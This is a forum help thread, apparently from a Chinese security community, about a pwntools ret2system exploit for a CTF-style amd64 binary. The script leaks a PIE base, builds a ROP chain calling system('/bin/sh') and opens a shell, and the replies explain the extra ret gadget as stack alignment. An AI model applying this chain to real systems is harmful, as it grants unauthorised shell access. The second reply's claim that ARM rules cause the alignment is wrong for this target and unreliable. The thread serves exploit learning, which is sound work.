首页
社区
课程
招聘
未解决 [求助]求大佬帮忙解释一个疑问
发表于: 2023-10-8 22:15 3863

未解决 [求助]求大佬帮忙解释一个疑问

2023-10-8 22:15
3863
from pwn import *
#sh =remote("127.0.0.1",12014)
sh = process("./pwn")
context.arch='amd64'
elf = ELF("./pwn")
sh.recvuntil(b"0x")
leak = int(sh.recvline()[:-1],16)
vul_addr_pie = elf.symbols["vuln"]
base_addr = leak - vul_addr_pie
sys_addr = base_addr + elf.plt["system"]
bin_sh_addr = base_addr + 0x4010
pop_rdi_pie=0x1323
pop_rdi_ret = base_addr+pop_rdi_pie
ret = base_addr+0x128d //ret是真实地址,0x128d是ida分析中vuln函数的结尾处retn指令地址
payload = flat([b'a'*0x58,pop_rdi_ret,bin_sh_addr,ret,sys_addr])
sh.sendline(payload)
sh.interactive()

payload有一个疑问,为什么在bin_sh_addr后填充一个retn的指令,而不是直接填写sys_addr,或者是填充垃圾数据,这与什么有关?


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
  • pwn (16.74kb,5次下载)
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 452
活跃值: (1429)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
看着应该是64位的栈对齐验证,需要在ret2system前要求sp+8能够被16整除,所以加个ret,具体你再查查。https://hack543.com/16-bytes-stack-alignment-movaps-issue/
2023-10-9 09:38
0
雪    币: 1121
活跃值: (752)
能力值: ( LV5,RANK:66 )
在线值:
发帖
回帖
粉丝
3
楼上说的没错,ARM架构的特点要求对齐。如果是Thumb指令,还要+1
2023-10-24 14:23
0
游客
登录 | 注册 方可回帖
返回
//